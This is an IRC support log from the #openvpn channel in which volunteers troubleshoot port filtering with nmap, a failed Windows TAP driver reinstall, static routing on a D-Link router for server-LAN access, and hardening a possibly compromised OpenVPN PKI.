17:23 < pierre_> pekster: how can I do that ?
17:23 < pekster> Something like `nmap -PN -sU -p 1194 --trace your.example.net`
17:23 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has joined #openvpn
17:23 -!- rajkosto [~Rajko@212-200-213-169.dynamic.isp.telekom.rs] has joined #openvpn
17:24 < pekster> Smarter traceroute utilities can provide a target port, but be very careful becuase default behaviour is to increment the dst-port, not keep it the same
17:24 < heraclitus> how could I configure a custom auth_fail message, dependent on what caused the auth fail?
17:24 < dvl> One of my goals with a new FreeBSD jail server is an OpenVPN client on the host system (tun0 looks like inet 10.3.0.75 --> 10.3.0.76 netmask 0xffffffff).   I want each jail to have both a public IP address and a non-routable address (say from 10.7.0.0/24).  If I do that, then is it just a simple matter of routing and firewall rules to get things to communicate?
17:24 < rajkosto> anyone know how to emulate openvpn with strongswan ?
17:24 < pekster> heraclitus: You can't.
17:24 < heraclitus> ok
17:24 < pekster> rajkosto: IPSec != OpenVPN. They're entirely different
17:25 < rajkosto> you can get virtual ips handed out now in ikev2
17:25 < pierre_> pekster: http://nopaste.info/index.html seems filtered...
17:25 < pekster> rajkosto: It's an _ENTIRELY_ incompatible proto
17:25 < pekster> !notcompat
17:26 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
17:26 < pierre_> will try dmz tomorrow, should at least eliminate the fw factor
17:26 < rajkosto> i get it, but i want to setup a similar thing i have going with openvpn with ipsec
17:26 < pekster> pierre_: Bad paste link, but if you can't get to next-hop-router upstream of your tartget, it's filtered
17:26 < pekster> Maybe try a different target port if you can trace on that (some places might filter 1194 as the 'standard' openvpn port)
17:27 < pekster> rajkosto: Then ask in a channel that helps with it
17:27 < pekster> That's not here
17:27 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Operation timed out]
17:27 < pierre_> pekster: ups sorry http://nopaste.info/44bcb48cc1.html
17:27 < pierre_> k
17:27 < pekster> Yup, and it's obviously not blocking the prior traceroute. Some firewalls are "traceroute friendly" and allow common traceroute ports
17:28 < pekster> I'm guessing you need to just try a port you can use, although that won't fool DPI
17:29 < debbie10t> pekster - changing the node did not make any difference but I will post it on the forum with full details - it will be easier than irc - i just wondered if you had details about using virtualbox and openvpn as some setups absolutely will not work "by design" and it seems I have accidentally found another.
17:29 < pierre_> pekster: of course. my ISPs clamis there's not filtering anything ^_^
17:29 < pekster> Nope, vbox generally works fine
17:30 < pekster> AWS's EC2 is the one that has "extra special" filtering. YMMV with briding though (not plain tap, but actual bridges) as vbox might need to be told to allow that
17:30 < pierre_> pekster: what I really wanna understand is : why does the mobile setup works from one point and not another
17:30 < pekster> pierre_: Well, that's crap based on the trace
17:31 < debbie10t> pekster - it's ok - i'll post on the forum .. later - have fun :)
17:31 < pierre_> pekster: what do you mean ? those strange hops at the end ?
17:31 < pekster> No, the fact that it doesn't go _past_ them
17:31 < pekster> Compare the traces; hop 4 on the failed paste is far less than you should have; it or a box just upstream of it is filtering
17:31 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
17:33 < pekster> Although, what's with all the same host routes in the first trace?
17:33 < pierre_> pekster: so it's my broadband ISP who's blocking those packets. thats means that DMZ will not solve the problem
17:33 < pekster> That reaks of broken
17:33 < pierre_> or my box
17:33 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
17:34 < pekster> You need to beter identify your target; is that hop for your actual host?
17:34 < pekster> And why are you only using RFC1918 to that point?
17:35 < tgreena> Hey, I'm having an issue with my OpenVPN server not allowing clients connected to see computers on the local (the server's local) network. I am thinking this has to do with a setting on the server, not the router, any help would be appreciated. I am running openvpn on a Raspberry Pi running Raspian.
17:36 < pekster> tgreena: read this, especially the helpful flowchart:
17:36 < pekster> !serverlan
17:36 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
17:36 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
17:36 < pierre_> pekster: you mean lines 14 to 20 ? don't know
17:36 < tgreena> Will definitely check that out! Thank you.
17:37 < pierre_> pekster: there's some private address because I'm using my phone as wireless access point
17:39 < pekster> Right, but why do you get the "same" IP so much, and why are you tracing to it in the first place?
17:40 < pekster> And if you're trying to reach that host, you apparently can without even going onto the Public Internet for routing
17:42 < pierre_> mmm I really don't know
17:42 < pekster> Then you'd best figure out where your own server is located and why it's apparently reachable from "10.164.9.2"
17:43 < pekster> You've either omitted very important details, or 88.123.117.179 is really reachable after 4 hops from RFC1918 space
17:43 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
17:43 < pekster> That appears completely normal for a trace inside the network where it's hosted, but abnormal otherwise
17:44 < pierre_> pekster: you're right
17:44 < pekster> Check firewalls and the trace output for an idea on where/why packets get lost, and tcpdump (example syntax at !tcpdump) are your "baisc tools" to discover network problems
17:45 < pierre_> pekster: my broadband ISP is known to use some ugly tweaks, but not my mobile service provider
17:55 -!- Devastator_ is now known as Devastator
17:55 < pierre_> pekster: will stop here for tonight
17:56 < pierre_> pekster: thank you for your help, will try again tomorrow
17:56 -!- pierre_ [~pierre@90.84.144.59] has quit [Quit: leaving]
18:01 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
18:15 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
18:17 -!- noobboob [uid5587@gateway/web/irccloud.com/x-fvpglpfowrsfeovl] has joined #openvpn
18:17 < noobboob> im getting this error installing the latest version of the tap driver
18:17 < noobboob> http://imgur.com/TRqchiM
18:17 < noobboob> ive tried everything
18:17 < noobboob> run as admin, disable secure booting policy
18:17 <@EugeneKay> !beer
18:17 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
18:18 < noobboob> enable driver signing
18:18 < tgreena> I am trying to add a route to the router so it knows how to reach the vpn subnet (according to http://ircpimps.org/serverlan.png) But I am having trouble figuring out how or where to add it in the router settings
18:18 < noobboob> disabling antivirus
18:18 < noobboob> nothing seems to work
18:18 < noobboob> i am using windows 8
18:18 <@EugeneKay> are you running the right 32/64 bit?
18:19 < noobboob> im not sure
18:19 <@EugeneKay> it worked fine for me the first time. elevation prompt then a driver install prompt
18:19 < BtbN> windows 8 does not install unsigned drivers without huge effort
18:19 <@EugeneKay> secure boot etc all left on
18:19 < pekster> BtbN: Not relly relevant here as the tap driver *is* signed
18:19 < noobboob> it actually was working for me
18:19 <@EugeneKay>  it's signed ;-)
18:19 < noobboob> then all of sudden when i uninstalled opevpn
18:19 < pekster> What is your driver installation policy?
18:19 < noobboob> right now unsigned drivers can be installed
18:20 < noobboob> i have testsigning enabled
18:20 < noobboob> im in testing mode
18:20 <@EugeneKay> you shouldn't need any if that
18:20 < noobboob> well i ve been looking everywhere for help, speaking to support right now
18:21 <@EugeneKay> is this the commercial openvpn?
18:21 <@EugeneKay> because we're the gpl support
18:21 < noobboob> i just need help installing the tap driver
18:21 < noobboob> because no vpn service i use will work without it
18:21 < BtbN> did you try uninstalling the old version first?
18:21 < noobboob> yes the old version is uninstalled
18:21 < BtbN> your screenshot says otherwise
18:21 < noobboob> it was after uninstallation that i couldnt install it again
18:22 < noobboob> i removed it from device manager and rebooted
18:22 <@EugeneKay> that screenshot doesn't look like GPL version
18:22 <@EugeneKay> what exactly did you download?
18:22 < BtbN> the tap driver should have it's own uninstaller
18:22 < noobboob> it's this one
18:22 < noobboob> http://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe
18:22 < pekster> EugeneKay, looks like the vanilla GPL tap stuff
18:22 < pekster> Yea
18:22 < BtbN> just removing the device won't unintall an old version
18:23 <@EugeneKay> oh, the separate tap installer? barf
18:23 < pekster> What do you think ships in the "official" installer? :P
18:23 < noobboob> idk ive tried both
18:23 < noobboob> official and separate
18:23 <@EugeneKay>  not that GUI
18:23 < pekster> It's quite literally the same file EugeneKay
18:23 < pekster> It's a "silent" installation, but it's the _exact_ same file
18:23 < noobboob> well where is it stored?
18:24 < pekster> In the installer
18:24 <@EugeneKay> I believe you, but that doesn't mean I'll keep paying attention :-P
18:24 < pekster> (and on swupdate)
18:24 < noobboob> the driver?
18:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:24 < pekster> EugeneKay: Yup, sounds about right: https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi#L261
18:24 <@vpnHelper> Title: openvpn-build/windows-nsis/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com)
18:25 < tgreena> I need to add a route to the router so it knows how to reach the VPN subnet and I am kind of stumped. Using a DLink Router, under Advanced > Routing, adding a route, it only allows me to use the WAN interface, wouldnt i need LAN?
18:25 < pekster> Something in the security policy smells off since devcon.exe is an MS-provided utility
18:25 < noobboob> secure boot is off
18:25 < pekster> None of that matters noobboob. Your _OS_ security policy, ie, secpol.msc
18:25 <@EugeneKay> tgreena - yup; stock router format (and a lot of the aftermarket stuff) blows goats
18:26 <@EugeneKay> firmware *
18:26 < noobboob> my version of windows doesnt seem to have gpedit or secpol
18:26 < noobboob> i am on an admin account
18:26 <@EugeneKay>  you're doing client lan?
18:26 < tgreena> @EugeneKay I have an extra router lying around here, would I be able to put custom firmware on it (like dd-wrt or tomato or something differet) to get this working
18:27 <@EugeneKay> likely. I use real Linux boxen myself.
18:27 < tgreena> Yes, I am trying to get OpenVPN working on my Raspberry Pi so I can leave it at the house
18:27 <@EugeneKay>  or try the
18:27 <@EugeneKay> !nathack
18:27 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
18:27 < pekster> noobboob: You need to learn how to use your OS then, becuase security settings _are_ controlled there, and it _does_ existing in 8/8.1
18:27 < tgreena> And be able to connect to my home network and all my local machines
18:27 < pekster> ##windows if you need help with basic things like learning to open control pannels; that's way outside the scope of this channel
18:28 < noobboob> alright i will go there thank you
18:29 < tgreena> I have ip_forwarding working, and when i connect to the OpenVPN i see my home IP, but I am unable to connect to the local machines (local meaning local to the Raspberry Pi OpenVPN)
18:29 < pekster> tgreena: YMMV, but I'd avoid both dd-wrt and tomato and downstream clones; they do so much stupid/wrong and are laregely insecure
18:29 < pekster> openwrt is a far more "correct" project, and for bonus points doesn't have gaping security holes
18:29 < noobboob> well apparently those tools are avilable in widnows 8
18:29 < noobboob> pro
18:29 < noobboob> i dont have win 8 pro
18:29 <@EugeneKay> just regular sized ones?
18:30 < tgreena> Yeah I definitely dont want to use anything unsecure
18:30 <@EugeneKay> if you don't need lan-->vpn use the nathack and call it a day
18:30 <@EugeneKay> it's a bit wrong but it works
18:31 < tgreena> Sorry @EugeneKay is that to me?
18:31 <@EugeneKay> yea
18:31 < pekster> noobboob: Then you shouldn't need to worry about the driver signing policy if you're "not allowed to touch it". What a stupid OS that "hides" control pannels from you if you're on a "non-$$$$" version. Typical
18:31  * EugeneKay too lazy to type names. if you can't follow the conversation I don't care anyway
18:32 < tgreena> What do you mean when you say lan to vpn?
18:32 < tgreena> lol that is fine, I was just making sure
18:32 < noobboob> idk please i'll do anything to get my vpn to work again
18:32 < noobboob> lol
18:32 <@EugeneKay> connecting from your lan to a machine on the VPN
18:32 < pekster> noobboob: http://support.microsoft.com/kb/311272
18:32 <@vpnHelper> Title: The DevCon command-line utility functions as an alternative to Device Manager (at support.microsoft.com)
18:33 <@EugeneKay> with nathack your lan machines will just see the VPN server
18:33 < pekster> noobboob: Code 2 "indicates a failure.". Concolusion is that "something failed." What exactly is for you to determine; this isn't a channel for OS help. Do the stuff you should be doing on that platform like checking the system/application logs
18:33 < tgreena> Oh yeah, I don't need to connect from a lan machine to the VPN, I will check out the Nat-hack! Thank you
18:33 < tgreena> I just need to go from the VPN client, to the server's LAN
18:34 <@EugeneKay> well taxa
18:34 <@EugeneKay> taxa
18:34 < noobboob> i couldnt find anything in the windows logs
18:34 <@EugeneKay> fuck you tablet keyboard
18:34 <@EugeneKay> tada!
18:34 < noobboob> does the driver installer itself have a log somewhere?
18:34 < pekster> I linked you to that info
18:35 < pekster> devcon.exe _is_ the "driver installer", and it's part of MSFT's offering
18:35 < noobboob> ok
18:36 < pekster> There will most certainly be a log entry in your system logs though
18:37 < noobboob> app cant run on my pc??
18:37 < noobboob> im running as administrator
18:38 < noobboob> nvm
18:38 <@EugeneKay> I'm still wondering if this is 32/64
18:38 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Max SendQ exceeded]
18:38 -!- master_o1_master [~master_of@p4FD7BB9F.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds]
18:39 <@EugeneKay> it causes stupid errors like this
18:39 -!- master_of_master [~master_of@p4FD7BB9F.dip0.t-ipconnect.de] has joined #openvpn
18:39 < noobboob> 64
18:39 < noobboob> my computer is 64
18:39 < pekster> Event ID 20003, from User-PnP
18:39 < noobboob> idk about the installer
18:39 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
18:40 < pekster> Or probably 20001 actually (20003 was the "re-installation/setup) of the existing Device Instance ID.. what a trashy OS)
18:40 < noobboob> devcon -m:\\test find pci\*
18:40 < noobboob> devcon failed
18:40 < noobboob> ??
18:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-yovwxnexioxckkfd] has quit [Disconnected by services]
18:41 < noobboob> ok 16 devices found...
18:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-mheeuypofmgrmgnd] has joined #openvpn
18:42 < noobboob> none of them seems to be the tap adapter
18:42 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
18:42 < pekster> What were you expecting; you haven't installed it yet!!
18:43 < noobboob> but i cant install it!
18:43 < pekster> Then look up the error FFS
18:43 <@EugeneKay> I hate to ask, did you click the deny button when you first ran the installer?
18:44 -!- dimm0k_ [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
18:44 -!- dimm0k_ [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
18:44 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
18:44 < noobboob> no actually openvpn was working fine
18:44 < noobboob> it was just that i recently uninstalled it
18:44 < noobboob> now i cant install it again
18:44 <@EugeneKay> ...why?
18:44 < noobboob> there were some issues with the program not starting up at boot
18:44 < noobboob> i tried switching clients, then tap driver wont install
18:45 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
18:45 -!- u0m3__ [~u0m3@92.80.102.164] has joined #openvpn
18:45 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 250 seconds]
18:46 -!- Tera [~tera@unaffiliated/tera] has quit [Remote host closed the connection]
18:46 -!- u0m3_ [~u0m3@92.80.102.164] has quit [Ping timeout: 250 seconds]
18:46 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 250 seconds]
18:46 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
18:46 -!- Fetch [fetch@gimel.cepheid.org] has quit [Ping timeout: 250 seconds]
18:47 < noobboob> yeah i'll admit it was stupid to mess with the almighty tap driver
18:47 < rob0> All hail the tap driver!
18:47 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
18:48 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
18:48 < pekster> It's usually a bad idea to manually rip things out of your device manager in the first place like that unless you know what you're doing
18:48 < pekster> There's tons of CLSID-realted crap in the registry
18:48 < noobboob> no i actually did a clean uninstall
18:48 < noobboob> i wasnt forced to change my device manager until tap driver refused to install
18:49 < noobboob> i never touched the registry yet either
18:49 < pekster> Event Viewer -> System is where device instalaltion events are stored
18:49 <@EugeneKay> and here's where I call it a day
18:49 <@EugeneKay> fuuuuuck manual driver reinstallation
18:49 < noobboob> ok goodbye EugeneKay
18:49 < noobboob> sorry for all the troubles
18:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
18:50 <@EugeneKay> I like new and interesting failures - lots to learn from
18:50 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Max SendQ exceeded]
18:50 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
18:51 < noobboob> ok pekster here is something i got out of event viewer
18:51 <@EugeneKay> but last time I saw this sort of thing it ended in a format
18:51 < noobboob> http://pastebin.com/bsghbXLG
18:51 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
18:51 < pekster> After insisting very hard there was nothing in the eventn viewer earlier? heh.
18:52 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
18:52 < noobboob> yeah my bad i think there was just so many stuff there i should have looked more carefully
18:52 < pekster> One of many reasons I don't recomend Windows; people pay lots of money to eventually have no real power of what the OS does. Great for Microsoft though
18:53 < noobboob> well im not exactly a fan of windows 8 either, but for some reason there only a win8 driver for my graphics card
18:53 < pekster> That appears to be a generic-looking error report; maybe the report queue has info for you
18:53 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:53 < pekster> Obviously something changed since you installed successfully last time
18:55 < noobboob> hopefully i can find something through the well named folders there
18:56 < pekster> You can posibly play with the devcon command yourself if you want to poke at it. The originally command is here, though mind the context it's runnign in: https://github.com/OpenVPN/tap-windows/blob/master/installer/tap-windows.nsi#L233
18:56 <@vpnHelper> Title: tap-windows/installer/tap-windows.nsi at master · OpenVPN/tap-windows · GitHub (at github.com)
18:56 < pekster> Otherwise a reformat might fix it too if you can't fix whatever nastyness changed between when and now in your OS
18:56 < noobboob> ive tried to get devcon to list all devices after i ran the tap driver installation
18:56 < noobboob> but it's still not there
18:56 < pekster> Right, becuase it failed. How does that surprise you?
18:56 < pekster> If the install fails, the device isn't there; I'd have though that part was painfully obviousy
18:57 -!- Netsplit *.net <-> *.split quits: qwertyoruiop
18:58  * pekster shrugs. This is clearly an issue with the devcon.exe and your OS, and at this point I'm not aware of any such reported problems that are a result of what our codebase is doing. It's thus astronomically unlikely this has anything to do with openvpn itself, and much more likely this is an issue on your OS. What changed could be anyone's guess
18:58 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Read error: No route to host]
18:58 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
19:04 < pekster> The devcon call to install a new driver (verses updating it) is simply `devcon.exe install "INSTDIR_HERE\driver\OemWin2k.inf" tap0901` -- whatever error text you get back combined with the return code is the extent of what the installer is able to show you
19:05 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
19:15 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 246 seconds]
19:16 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 260 seconds]
19:16 -!- jam__ [~quassel@vps.schoolofprivacy.eu] has quit [Quit: No Ping reply in 180 seconds.]
19:17 -!- jam__ [~quassel@vps.schoolofprivacy.eu] has joined #openvpn
19:18 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
19:40 -!- intricate [~intricate@unaffiliated/intricate] has quit [Quit: http://xach.org]
19:42 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has quit [Quit: Textual IRC Client: www.textualapp.com]
19:44 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
19:45 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has joined #openvpn
19:47 -!- Carbon_Monoxide [~cmonxide@14.0.143.62] has joined #openvpn
19:48 -!- intricate [~intricate@unaffiliated/intricate] has joined #openvpn
19:48 -!- Carbon_Monoxide [~cmonxide@14.0.143.62] has left #openvpn []
19:52 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
19:53 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
19:53 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:58 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
20:15 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 252 seconds]
20:15 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
20:27 -!- Devastator_ [~devas@186.214.15.221] has joined #openvpn
20:29 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
20:34 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
20:54 -!- meepmeep [meepmeep@end.of.cylind.re] has quit [Ping timeout: 252 seconds]
20:56 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
21:04 -!- meepmeep [meepmeep@end.of.cylind.re] has quit [Ping timeout: 246 seconds]
21:05 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
21:06 -!- Cubox [cubox@unaffiliated/cubox] has quit [Ping timeout: 246 seconds]
21:07 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
21:10 -!- EugeneKay is now known as DodoMcQuack
21:16 -!- aji [~alex@cholla.ajitek.net] has quit [Ping timeout: 260 seconds]
21:19 -!- aji [~alex@atheme/member/aji] has joined #openvpn
21:20 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
21:20 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
21:26 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
21:31 -!- DodoMcQuack is now known as EugeneKay
21:31 < tgreena> I am having problems trying to add a route to my router, I was linked a flow chart a few hours ago but I still cant seem to figure out a way to get it fixed. Another member suggested I use a Nat Hack, but even that isn't working.
21:34 < tgreena> I am running openvpn on a Raspberry Pi, running Raspian. I have ip forwarding working great, my problem is the client cant view computers on the servers local network
21:35 < pekster> !serverlan
21:35 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
21:35 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
21:35 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
21:35 < pekster> You need a return-route on the server-side LAN's gateway, or ugly source-NAT where you "hide" the VPN range
21:36 < tgreena> this was the graphic I was linked earlier, I am stuck on the 'add a route to the router so it knows how to reach the vpn subnet'
21:36 < pekster> !serverlan
21:36 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
21:36 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
21:36 < pekster> Oh, yea, sorry, same thing
21:36 < pekster> So add the route on the router
21:36 < pekster> (and ensure its firewall is set to allow the traffic in question)
21:36 < tgreena> I can't seem to find the setting on my router page, I've looked all over. I am using a dlink router, let me check the model
21:37 <@krzee> !dlinkroute
21:37 <@krzee> !factoids search dlink
21:37 <@vpnHelper> "dlink_static_route" is http://lizzi555.dyndns.org/655/StaticRoute.html for the workaround for issues adding static route into d-link router with A3 firmware
21:37 < tgreena> Under advanced > routing, it seems you can only set the WAN routing
21:37 <@krzee> tgreena, ^
21:37 < tgreena> Great! Let me check that out.
21:38 < pekster> Next time consider buying hardware you can put non-crappy OSes on; openwrt is both useful and comes with a decent web interface that lets you actually use your router ;)
21:38 < pekster> Little late for this one, perhaps :)
21:38 < tgreena> I actually have a new router, but my girlfriend wont let me open it till christmas lol
21:38 < tgreena> Asus AC66u
21:39 -!- Devastator_ [~devas@186.214.15.221] has quit [Changing host]
21:39 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
21:39 < pekster> Looks too new for openwrt support. Oh well
21:40 < pekster> Maybe someday, depending on the SoC used
21:41 < chrisb> i was disappointed that Nmap found the SSL cert on my dd-wrt/WRT54GL owned and available on a public site
21:43 < pekster> dd-wrt is a pice of shit, yes
21:43 < pekster> !dd-wrt
21:43 <@vpnHelper> "dd-wrt" is (#1) While some users have success with dd-wrt, the build system isn't very accessible to users and there have been security issues with the distro. Consider carefully if this is the platform you want to use for OpenVPN or (#2) Firewall oopsie : http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783 or (#3) more issues: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536
21:43 < pekster> Their devs are so stupid
21:43 < chrisb> are there any signatures of a MITM attack? like strange error messages when trying to browse a website which look like what a proxy might return to buy time?
21:43 < pekster> Use openwrt; that project has devs that have a clue
21:44 < chrisb> pekster: i made a mistake not to go with openwrt, i don't know what stopped me...
21:45 < chrisb> what about pfsense?  does it support openvpn?
21:45 < tgreena> I am following that guide for the DLink router, but when I rightclick into a field, it says an option 'show hidden fields' will appear, and that isnt working on either my windows 7 pc in chrome, or my mac
21:45 < chrisb> i'm running it now between debian gnu/linux nodes only
21:45 < pekster> All major platforms exept iPhone support openvpn, and see !iphone for the non-free Connect way to do it anyway
21:46 < tgreena> omg I am stupid
21:46 < tgreena> I am sorry, I didnt read the first step. Forgive me lol
21:47 <@krzee> pekster, non-free as in freedom, not beer, right?
21:47 < pekster> non-FOSS, right
21:47 <@krzee> or did they change it and start charging on ios now?
21:48 < pekster> The --just-trust-us way to do security products ;)
21:48 <@krzee> haha ya
21:49 < pekster> It's less about mallicious intent here (that doesn't really seem likely) as honest mistakes; imagine how long the debian openssl thing could have gone on if it wasn't open code..
21:50  * pekster just assumes all mobile devices are "owned" and reacts accordingly
21:53 < chrisb> any guidance on how to tell if my vpn is owned by a MITM?
21:54 < pekster> The link between them? Don't let it happen in the first place by using PKI properly. Some PKI hardening review can be found here:
21:54 < pekster> !hardening
21:54 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
21:54 < chrisb> i should have been more careful about the CA
21:55 < chrisb> the server end is a VPS.  is that asking for trouble?
21:55 < pekster> Not really, though I'd never keep the CA PKI on that system
21:56 < pekster> The PKI howto at !howto uses easy-rsa v2 that isn't really designed to support a separate CA model (making it less secure.) The v3 howto does use stronger security practices, see here: https://community.openvpn.net/openvpn/wiki/EasyRSA
21:56 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
21:56 <@krzee> hey nice writeup man
21:56 < pekster> If you re-do the PKI, you might want to use stronger security practices
21:56 <@krzee> i hadnt seen !hardening
21:57 < pekster> The easy-rsa v3 howto plays into real security practices too krzee ;)
21:57 < pekster> Best way to encourage people to do the smart thing is to bake it into the howtos
21:57 <@krzee> ++
21:57 <@krzee> pekster++
21:58 < chrisb> pekster: thanks
21:58 < chrisb> re-doing the PKI is the first step, if I think I'm compromised, right?
21:59 <@krzee> depends whats compromised
21:59 < pekster> If it's the CA, yes
22:00 < pekster> If it's only the server (and your server isn't where you store the CA) then it depends if you have a way to get revocation info to the clients
22:00 <@krzee> not to mention, first step would be to reinstall the machine that was owned
22:01 < chrisb> CA is on the client
22:01 <@krzee> and figure out what you did wrong so you dont repeat it
22:01 < tgreena> I am inputting my information into the DLink Routing settings, what do I put for the Gateway?
22:01 < pekster> tgreena: You're doing the !serverlan stuff, right? If so, it's your local server's IP
22:02 < tgreena> Yes I am, awesome thank you
22:02 <@krzee> the machine in its own subnet that it reaches the subnet you're routing to on
22:02 < pekster> chrisb: What exactly has been compromised then? Are you seeing connections using your own cert (and thus the private key) from other hosts?
22:03  * pekster should add info about server-side logging too, come to think of it
22:03 < pekster> You might want to review some example on-{dis,}connect accounting scripts I have at !accounting
22:03 < pekster> Security-concious people keep (and equally as important, review) access logs
22:04 < chrisb> pekster: i don't know how to troubleshoot, would i see connections on the server logs?
22:04 < pekster> Yes, though that's far more lines to review than access logs would be
22:05 <@krzee> chrisb, why do you feel you have been compromised?
22:12 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
22:14 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
22:18  * chrisb back from checking logs on the server
22:20 < chrisb> krzee: i have inexplicable error messages during browsing sessions
22:20 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
22:20 < chrisb> krzee: and someone made a threat to agressively invade my privacy
22:22 < chrisb> krzee: and i did not take that great care with my CA, keeping it on the laptop client, and there is no passphrase
22:22 < tgreena> While trying to set up the Dlink, I keep getting 'Destination and Gateway should not reside on the same subnet 255.255.255.0
22:22 < pekster> No passphrase on the CA? Yea, that's a Bad Thing™
22:23 < pekster> Compromising your entire PKI would have only taken a minute with access to the system
22:23 < pekster> With a passphrse you still want to avoid disclosure/access to any private keys, but even if stolen, they're not useful until the passphrase can be obtained (or cracked, if it's a weak passphrase)
22:31 < chrisb> i have dynamic IP (which stays the same for days)from a telco, and my network is natted behind that
22:33 < chrisb> because there is wireless access on my network, it is likely that the intruder has tried to get on the local network
